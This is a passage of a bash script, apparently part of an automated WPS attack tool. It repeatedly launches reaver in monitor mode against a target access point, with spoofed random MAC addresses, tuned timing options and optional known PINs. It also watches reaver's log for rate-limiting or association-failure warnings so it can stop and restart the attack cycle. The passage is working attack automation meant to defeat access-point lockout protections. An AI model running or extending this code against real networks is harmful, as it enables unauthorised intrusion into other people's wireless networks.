#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R48 == y || $USE_R48 == Y ]] && [[ $USE_LONG48 == y || $USE_LONG48 == Y ]] && [[ $USE_PIN48 == n || $USE_PIN48 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX48" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY48"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -r $RX48:$RY48 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R48 == n || $USE_R48 == N ]] && [[ $USE_LONG48 == n || $USE_LONG48 == N ]] && [[ $USE_PIN48 == y || $USE_PIN48 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -vv -x 60  --pin=$WPS_PIN48 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R48 == y || $USE_R48 == Y ]] && [[ $USE_LONG48 == n || $USE_LONG48 == N ]] && [[ $USE_PIN48 == y || $USE_PIN48 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX48" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY48"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -vv -x 60 -r $RX48:$RY48 --pin=$WPS_PIN48 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R48 == n || $USE_R48 == N ]] && [[ $USE_LONG48 == y || $USE_LONG48 == Y ]] && [[ $USE_PIN48 == y || $USE_PIN48 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN48 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP48 (ESSID: $NMEWARN48)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R48 == y || $USE_R48 == Y ]] && [[ $USE_LONG48 == y || $USE_LONG48 == Y ]] && [[ $USE_PIN48 == y || $USE_PIN48 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME48"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL48"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP48"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX48" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY48"
echo -e "$info Reaver live time                   = $yel$LIVE48 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME48-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL48 -b $TARGETAP48 -r $RX48:$RY48 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN48 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME48-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE48-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME48-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME48-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME48-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME48-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

